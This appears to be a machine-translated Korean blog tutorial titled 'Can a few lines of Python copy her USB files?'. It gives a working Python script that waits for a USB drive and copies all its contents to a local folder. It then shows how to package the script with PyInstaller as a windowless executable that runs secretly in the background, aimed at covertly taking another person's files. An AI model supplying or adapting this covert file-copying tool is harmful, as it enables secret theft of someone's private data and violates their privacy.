몇 줄 의 Python 코드 만으로 그녀의 USB 파일 을 복사 할 수 있 습 니까?
# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
# U
usb_path = "E:/"
#
save_path = "D:/haha"
while (True):
if os.path.exists(usb_path):
shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
break
else:
time.sleep(10)
위 에 있 는 것 은 모든 코드 입 니 다.코드 는 두 군데 가 있 습 니 다.코드 에 주석 을 달 았 습 니 다.1.명령 행 에 pip 로 pyinstaller 패키지 설치
pip install pyinstaller
2.pyintaler 설치 실행 에 필요 한 windows 확장 pywin 32 다운로드mhammond/pywin32
최신 버 전의 다운 로드 를 선택 하 십시오.해당 하 는 python 버 전(version)과 python 자릿수(bittedness)를 선택 하 십시오.명령 행 에 python 을 입력 하여 python 버 전과 자릿수 를 봅 니 다.
다음 과 같이 python 3.6 의 32 비트 로 다운로드 가 필요 합 니 다
[pywin32-223.win32-py3.6.exe]
Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32
다음 과 같이 python 3.6 의 64 비트 로 다운로드 가 필요 합 니 다[pywin32-223.win-amd64-py3.6.exe]
Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32
3.명령 줄 에 아래 명령 을 입력 하면 된다
pyinstaller [opts] yourprogram.py
매개 변수 의미-F 포장 을 지정 한 후 exe 형식의 파일 만 생 성 합 니 다(이 인 자 를 쓰 는 것 을 권장 합 니 다)
-D Conedir 는 exe 파일 을 포함 하 는 디 렉 터 리 를 만 들 지만 많은 파일 에 의존 합 니 다(기본 옵션)
-c Cconsole,Cnowindowd 는 콘 솔 을 사용 하고 인터페이스 가 없 음(기본 값)
-w Cwindowed,Cnoconsole 사용 창,콘 솔 없 음
-p 검색 경 로 를 추가 하여 해당 하 는 라 이브 러 리 를 찾 습 니 다.
-i 생 성 프로그램의 icon 아이콘 을 바 꿉 니 다.
실례 설명
예 를 들 어 python 프로그램 이름
test.py
이 있 습 니 다.절대 경로[D:\project]
는 exe 형식의 파일 로 포장 되 어 있 습 니 다.
pyinstaller -F D:\project\test.py
조건 이 같 습 니 다.콘 솔 의 블랙 프레임 이 없 기 를 원한 다 면 프로 세 스 에서 몰래 실행 합 니 다.
pyinstaller -F -w D:\project\test.py
조건 이 같 습 니 다.프로그램 아이콘 을 바 꾸 고 싶다 면
pyinstaller -F -w -i D:\project\test.ico D:\project\test.py
실행 프로그램마지막 으로 생 성 된 exe 파일 을 두 번 누 르 면 인터페이스 가 보이 지 않 지만 작업 관리자 의 배경 프로 세 스 에서 찾 을 수 있 습 니 다.USB 가 삽입 되면 설정 한 주소 로 자동 으로 복사 되 고 프로 세 스 가 자동 으로 종 료 됩 니 다.

이 파 이 썬 코드 몇 줄 로 그녀의 USB 파일 을 복사 할 수 있 습 니까?의 글 은 여기까지 소개 되 었 습 니 다.더 많은 관련 Python 코드 복사 USB 파일 내용 은 우리 의 이전 글 을 검색 하거나 아래 의 관련 글 을 계속 찾 아 보 세 요.앞으로 많은 응원 바 랍 니 다!
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
Python의 None과 NULL의 차이점 상세 정보그래서 대상 = 속성 + 방법 (사실 방법도 하나의 속성, 데이터 속성과 구별되는 호출 가능한 속성 같은 속성과 방법을 가진 대상을 클래스, 즉 Classl로 분류할 수 있다.클래스는 하나의 청사진과 같아서 하나의 ...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.